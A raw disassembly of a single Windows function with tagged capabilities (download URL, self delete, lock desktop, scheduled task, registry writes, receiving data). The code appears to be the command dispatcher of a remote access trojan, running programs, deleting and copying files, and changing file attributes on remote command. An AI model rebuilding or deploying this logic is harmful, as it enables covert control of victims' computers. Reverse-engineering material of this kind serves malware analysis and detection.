Function at 0x476010
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Get memory capacity
Lock the desktop
Receive data
Schedule task via at
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf5
push 0
push 0
dec ecx
jne 0x476018
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.004059cc
lea eax, [ebp - 0x198]
mov edx, dword [0x408b30]
call fcn.00405fe8
xor eax, eax
push ebp
push 0x47d442
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x47d2ff
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
mov edx, 0x47d45c
call fcn.00405974
jne 0x476074
mov eax, 0x47d46c
call fcn.00475d98
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x20c]
mov edx, 0x47d47c
call fcn.00405974
jne 0x4760c6
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048bc7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d309
lea eax, [ebp - 0x210]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x210]
mov edx, 0x47d490
call fcn.00405974
jne 0x476110
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ee4
call fcn.00489544
lea eax, [ebp - 0x214]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x214]
mov edx, 0x47d4a4
call fcn.00405974
jne 0x4763be
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x495b74]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebp - 0x1c]
call fcn.0048d788
movzx eax, byte [0x47d4b8]
push eax
lea eax, [ebp - 0x218]
push eax
mov ecx, 0x47d4c4
mov edx, 0x47d4b4
mov eax, dword [ebp - 0x1c]
call fcn.0040ef4c
mov edx, dword [ebp - 0x218]
lea eax, [ebp - 0x1c]
call fcn.004055c8
call fcn.0048d8f4
test al, al
je 0x4761f5
lea eax, [ebp - 0x14]
mov edx, 0x47d4d0
call fcn.004055c8
jmp 0x476202
lea eax, [ebp - 0x14]
mov edx, 0x47d4e0
call fcn.004055c8
lea eax, [ebp - 0x21c]
call fcn.0048d804
cmp dword [ebp - 0x21c], 0
je 0x476225
lea eax, [ebp - 0x18]
mov edx, 0x47d4f0
call fcn.004055c8
jmp 0x47622d
lea eax, [ebp - 0x18]
call fcn.00405530
push 0x47d4fc
mov eax, dword [0x495934]
push dword [eax]
push 0x47d4b4
push dword [ebp - 0xc]
push 0x47d50c
push 0x47d518
lea eax, [ebp - 0x224]
call fcn.004609e0
push dword [ebp - 0x224]
push 0x47d524
lea edx, [ebp - 0x228]
mov eax, dword [0x4959d8]
movzx eax, word [eax]
call fcn.00409d78
push dword [ebp - 0x228]
push 0x47d4b4
lea eax, [ebp - 0x22c]
call fcn.0048d700
push dword [ebp - 0x22c]
push 0x47d50c
lea eax, [ebp - 0x230]
call fcn.0048d6c4
push dword [ebp - 0x230]
push 0x47d4b4
push dword [ebp - 0x10]
push 0x47d4b4
call fcn.0048a964
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x234]
call fcn.00409e64
push dword [ebp - 0x234]
push 0x47d534
push 0x47d4b4
lea eax, [ebp - 0x238]
call fcn.0048dc14
push dword [ebp - 0x238]
push dword [ebp - 0x14]
push 0x47d540
lea eax, [ebp - 0x240]
call fcn.0048df54
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.0040a5a8
push dword [ebp - 0x23c]
push 0x47d54c
push 0x47d4b4
lea eax, [ebp - 0x244]
call fcn.0048c158
push dword [ebp - 0x244]
push 0x47d4b4
push dword [ebp - 0x18]
push 0x47d4b4
lea eax, [ebp - 0x248]
call fcn.0048d73c
push dword [ebp - 0x248]
push 0x47d4b4
push dword [ebp - 0x1c]
push 0x47d4b4
mov eax, dword [0x495914]
push dword [eax]
push 0x47d4b4
lea eax, [ebp - 0x24c]
call fcn.0048e55c
push dword [ebp - 0x24c]
push 0x47d4b4
lea eax, [ebp - 0x250]
call fcn.0048e480
push dword [ebp - 0x250]
push 0x47d4b4
mov eax, dword [0x4959e8]
push dword [eax]
push 0x47d4b4
mov eax, dword [0x4958ac]
push dword [eax]
lea eax, [ebp - 0x220]
mov edx, 0x2a
call fcn.004058e0
mov eax, dword [ebp - 0x220]
call fcn.00475d98
lea eax, [ebp - 0x254]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x254]
mov edx, 0x47d558
call fcn.00405974
jne 0x4764b1
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x258]
call fcn.0048d804
cmp dword [ebp - 0x258], 0
je 0x476422
lea eax, [ebp - 0xc]
mov edx, 0x47d4f0
call fcn.004055c8
jmp 0x47642a
lea eax, [ebp - 0xc]
call fcn.00405530
push 0x47d56c
mov eax, dword [0x495934]
push dword [eax]
push 0x47d4b4
push dword [ebp - 8]
push 0x47d4b4
call fcn.0048a964
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x260]
call fcn.00409e64
push dword [ebp - 0x260]
push 0x47d534
push 0x47d4b4
push dword [ebp - 0xc]
push 0x47d4b4
lea eax, [ebp - 0x264]
call fcn.0048e55c
push dword [ebp - 0x264]
push 0x47d4b4
lea eax, [ebp - 0x268]
call fcn.0048d788
push dword [ebp - 0x268]
lea eax, [ebp - 0x25c]
mov edx, 0xd
call fcn.004058e0
mov eax, dword [ebp - 0x25c]
call fcn.00475d98
lea eax, [ebp - 0x26c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x26c]
mov edx, 0x47d580
call fcn.00405974
jne 0x476505
lea eax, [ebp - 8]
mov ecx, 3
mov edx, 1
call fcn.00405a84
push 0x40
push 0x47d584
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea eax, [ebp - 0x270]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x270]
mov edx, 0x47d590
call fcn.00405974
jne 0x47655d
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47d59c
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47d5ac
call fcn.00405974
jne 0x476598
lea eax, [ebp - 0x278]
call fcn.0046d970
mov ecx, dword [ebp - 0x278]
lea eax, [ebp - 0x274]
mov edx, 0x47d5c0
call fcn.00405864
mov eax, dword [ebp - 0x274]
call fcn.00475d98
mov eax, dword [ebp - 8]
mov edx, 0x47d5d0
call fcn.00405974
jne 0x4765d3
lea eax, [ebp - 0x280]
call fcn.0046d970
mov ecx, dword [ebp - 0x280]
lea eax, [ebp - 0x27c]
mov edx, 0x47d5e8
call fcn.00405864
mov eax, dword [ebp - 0x27c]
call fcn.00475d98
mov eax, dword [ebp - 8]
mov edx, 0x47d5fc
call fcn.00405974
jne 0x47660e
lea eax, [ebp - 0x288]
call fcn.00489420
mov ecx, dword [ebp - 0x288]
lea eax, [ebp - 0x284]
mov edx, 0x47d610
call fcn.00405864
mov eax, dword [ebp - 0x284]
call fcn.00475d98
lea eax, [ebp - 0x28c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x28c]
mov edx, 0x47d620
call fcn.00405974
jne 0x476732
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x290]
mov eax, dword [ebp - 0xc]
call fcn.0046d51c
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00475f44
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47d630
call fcn.00405974
jne 0x47676f
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.0048b61c
mov ecx, dword [ebp - 0x298]
lea eax, [ebp - 0x294]
mov edx, 0x47d644
call fcn.00405864
mov eax, dword [ebp - 0x294]
call fcn.00475d98
mov eax, dword [ebp - 8]
mov edx, 0x47d654
call fcn.00405974
jne 0x4767af
lea edx, [ebp - 0x2a0]
mov eax, 5
call fcn.0048b61c
mov ecx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x29c]
mov edx, 0x47d644
call fcn.00405864
mov eax, dword [ebp - 0x29c]
call fcn.00475d98
mov eax, dword [ebp - 8]
mov edx, 0x47d668
call fcn.00405974
jne 0x4767e7
jmp 0x4767cf
mov eax, 0x47d67c
call fcn.00484a2c
call fcn.00484e64
mov eax, 0x47d67c
call fcn.00484a2c
test eax, eax
jg 0x4767c0
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00484e64
mov eax, dword [ebp - 8]
mov edx, 0x47d690
call fcn.00405974
jne 0x476803
mov eax, dword [0x495af4]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [ebp - 8]
mov edx, 0x47d6a8
call fcn.00405974
jne 0x4768a8
lea edx, [ebp - 0x2a4]
mov eax, 0x47d6c0
call fcn.00473610
mov eax, dword [ebp - 0x2a4]
mov edx, 0x47d6cc
call fcn.00405974
je 0x476872
push 0x47d6d8
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.0040f23c
push dword [ebp - 0x2ac]
push 0x47d700
lea eax, [ebp - 0x2a8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2a8]
call fcn.0046d488
jmp 0x47689e
push 0x47d6d8
mov eax, dword [0x495880]
push dword [eax]
push 0x47d700
lea eax, [ebp - 0x2b0]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2b0]
call fcn.0046d488
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00484e64
lea eax, [ebp - 0x2b4]
push eax
mov ecx, 0x12
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2b4]
mov edx, 0x47d70c
call fcn.00405974
jne 0x4768ff
lea eax, [ebp - 8]
mov ecx, 0x12
mov edx, 1
call fcn.00405a84
xor ecx, ecx
mov edx, dword [ebp - 8]
xor eax, eax
call fcn.0048aa68
test al, al
jne 0x4768ff
mov eax, 0x47d728
call fcn.00475d98
lea eax, [ebp - 0x2b8]
push eax
mov ecx, 0xf
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2b8]
mov edx, 0x47d738
call fcn.00405974
jne 0x476a2c
lea eax, [ebp - 8]
mov ecx, 0xf
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2bc]
mov eax, dword [ebp - 0xc]
call fcn.00409b84
cmp dword [ebp - 0x2bc], 0
je 0x4769ea
push 5
lea edx, [ebp - 0x2c0]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a8
mov eax, dword [ebp - 0x2c0]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d59c
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476a2c
mov eax, 0x47d750
call fcn.00475d98
jmp 0x476a2c
push 5
lea edx, [ebp - 0x2c4]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a8
mov eax, dword [ebp - 0x2c4]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d59c
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476a2c
mov eax, 0x47d750
call fcn.00475d98
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2c8]
mov edx, 0x47d764
call fcn.00405974
jne 0x476b59
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2cc]
mov eax, dword [ebp - 0xc]
call fcn.00409b84
cmp dword [ebp - 0x2cc], 0
je 0x476b17
push 0
lea edx, [ebp - 0x2d0]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a8
mov eax, dword [ebp - 0x2d0]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d59c
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476b59
mov eax, 0x47d750
call fcn.00475d98
jmp 0x476b59
push 0
lea edx, [ebp - 0x2d4]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a8
mov eax, dword [ebp - 0x2d4]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d59c
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476b59
mov eax, 0x47d750
call fcn.00475d98
lea eax, [ebp - 0x2d8]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2d8]
mov edx, 0x47d780
call fcn.00405974
jne 0x476be5
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ee4
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0048ab10
lea eax, [ebp - 0x2dc]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2dc]
mov edx, 0x47d790
call fcn.00405974
jne 0x476cfa
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ee4
dec eax
jle 0x476cec
mov eax, dword [ebp - 8]
call fcn.00409ee4
mov ebx, eax
test ebx, ebx
jl 0x476cfa
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409ee4
cmp esi, eax
jne 0x476c9b
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x476ce6
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
dec ebx
jne 0x476c7f
jmp 0x476cfa
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x2e0]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e0]
mov edx, 0x47d7b0
call fcn.00405974
jne 0x476dfd
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ee4
dec eax
jle 0x476df5
mov eax, dword [ebp - 8]
call fcn.00409ee4
mov ebx, eax
test ebx, ebx
jl 0x476dfd
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409ee4
cmp esi, eax
jne 0x476daa
mov eax, dword [ebp - 0xc]
call fcn.0048ac18
jmp 0x476def
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.0048ac18
inc esi
dec ebx
jne 0x476d94
jmp 0x476dfd
mov eax, dword [ebp - 0xc]
call fcn.0048ac18
mov eax, dword [ebp - 8]
mov edx, 0x47d7cc
call fcn.00405974
jne 0x476e11
call fcn.0048acbc
lea eax, [ebp - 0x2e4]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e4]
mov edx, 0x47d7e0
call fcn.00405974
jne 0x476e61
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2e8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e8]
mov edx, 0x47d7f8
call fcn.00405974
jne 0x476eae
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2ec]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2ec]
mov edx, 0x47d810
call fcn.00405974
jne 0x476efb
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 1
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f0]
mov edx, 0x47d824
call fcn.00405974
jne 0x476f48
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 4
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f4]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f4]
mov edx, 0x47d83c
call fcn.00405974
jne 0x476f95
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
push 0x20
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f8]
mov edx, 0x47d854
call fcn.00405974
jne 0x476fe5
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push pe_nt_image_headers32
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2fc]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2fc]
mov edx, 0x47d868
call fcn.00405974
jne 0x47711c
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea ecx, [ebp - 0x198]
mov edx, 0x3f
mov eax, dword [ebp - 8]
call fcn.0040a490
mov ebx, dword [ebp - 0x188]
test ebx, 2
jle 0x477056
lea eax, [ebp - 0xc]
mov edx, 0x47d880
call fcn.004055c8
jmp 0x477063
lea eax, [ebp - 0xc]
mov edx, 0x47d890
call fcn.004055c8
test ebx, 1
jle 0x47707a
lea eax, [ebp - 0x10]
mov edx, 0x47d89c
call fcn.004055c8
jmp 0x477087
lea eax, [ebp - 0x10]
mov edx, 0x47d890
call fcn.004055c8
test ebx, 0x20
jle 0x47709e
lea eax, [ebp - 0x14]
mov edx, 0x47d8b0
call fcn.004055c8
jmp 0x4770ab
lea eax, [ebp - 0x14]
mov edx, 0x47d890
call fcn.004055c8
test ebx, 4
jle 0x4770c2
lea eax, [ebp - 0x18]
mov edx, 0x47d8c0
call fcn.004055c8
jmp 0x4770cf
lea eax, [ebp - 0x18]
mov edx, 0x47d890
call fcn.004055c8
push 0x47d8d0
push dword [ebp - 8]
push 0x47d8e8
push 0x47d8f4
push dword [ebp - 0xc]
push 0x47d910
push dword [ebp - 0x10]
push 0x47d910
push dword [ebp - 0x14]
push 0x47d910
push dword [ebp - 0x18]
push 0x47d91c
lea eax, [ebp - 0x300]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x300]
call fcn.00475d98
lea eax, [ebp - 0x304]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x304]
mov edx, 0x47d928
call fcn.00405974
jne 0x47755d
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
mov eax, dword [0x495944]
cmp dword [eax], 0
je 0x47755d
lea eax, [ebp - 0xc]
push eax
mov edx, dword [0x495944]
mov edx, dword [edx]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x495944]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov edx, dword [0x495944]
mov edx, dword [edx]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x495944]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x308]
push eax
mov edx, dword [0x495944]
mov edx, dword [edx]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x495944]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov eax, dword [ebp - 0x308]
call fcn.00409ee4
mov esi, eax
mov edx, dword [0x495944]
mov edx, dword [edx]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x495944]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [0x495944]
mov edx, dword [edx]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
mov edx, 0x47d6cc
call fcn.00405974
jne 0x4773f9
cmp esi, 1
jle 0x4773a8
mov ebx, esi
test ebx, ebx
jle 0x477549
mov edi, 1
cmp esi, edi
je 0x47734f
push 0xffffffffffffffff
lea eax, [ebp - 0x314]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x310]
call fcn.0040a694
mov ecx, dword [ebp - 0x310]
lea eax, [ebp - 0x30c]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x30c]
call fcn.004059dc
push eax
lea eax, [ebp - 0x318]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x318]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x31c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x1bd], al
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x47739b
push 0xffffffffffffffff
lea edx, [ebp - 0x324]
mov eax, dword [ebp - 0xc]
call fcn.0040a694
mov ecx, dword [ebp - 0x324]
lea eax, [ebp - 0x320]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x320]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
dec ebx
jne 0x477250
jmp 0x477549
push 0xffffffffffffffff
lea edx, [ebp - 0x32c]
mov eax, dword [ebp - 0xc]
call fcn.0040a694
mov ecx, dword [ebp - 0x32c]
lea eax, [ebp - 0x328]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x328]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x477549
cmp esi, 1
jle 0x47750b
mov ebx, esi
test ebx, ebx
jle 0x477549
mov edi, 1
cmp esi, edi
je 0x4774c3
push 0xffffffffffffffff
lea eax, [ebp - 0x338]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x338]
lea edx, [ebp - 0x334]
call fcn.0040a694
mov ecx, dword [ebp - 0x334]
lea eax, [ebp - 0x330]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x330]
call fcn.004059dc
